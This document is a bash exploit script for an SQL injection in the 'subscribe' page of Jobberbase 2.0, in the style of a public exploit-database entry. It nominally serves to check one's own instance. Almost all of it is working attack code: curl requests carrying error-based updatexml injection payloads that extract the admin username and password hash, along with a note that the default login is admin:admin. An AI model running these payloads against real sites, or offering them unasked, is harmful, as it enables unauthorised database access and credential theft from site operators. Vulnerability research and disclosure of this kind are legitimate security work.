Jobberbase 2.0 – ‘subscribe’ SQL Injection
#!/bin/bash # Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection # Date: 29 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: http://www.jobberbase.com/ # Version: 2.0 # Tested on: Ubuntu 18.04.1 : ' The page "/subscribe/" is vulnerable for SQL injection. Simply make a POST request to /subscribe/ with the parameters: - email=jobber@zerodays.lol - category=1337<inject_here> You can use this script to verify if YOUR OWN instance is vulnerable. $ bash verify.sh http://localhost/jobberbase/ admin:1a1dc91c907325c69271ddf0c944bc72 ' : 'Fetch the username' USERNAME=$(curl -s "$1/subscribe/" \ -d "email=jobber@zerodays.lol" \ -d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \ -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//") : 'Ugly way to fetch the password hash' PASS=$(curl -s "$1/subscribe/" \ -d "email=jobber@zerodays.lol" \ -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \ -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//") WORD=$(curl -s "$1/subscribe/" \ -d "email=jobber@zerodays.lol" \ -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \ -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//") : 'Print the user:hash (note: default login is admin:admin)' echo -e "$USERNAME:$PASS$WORD" |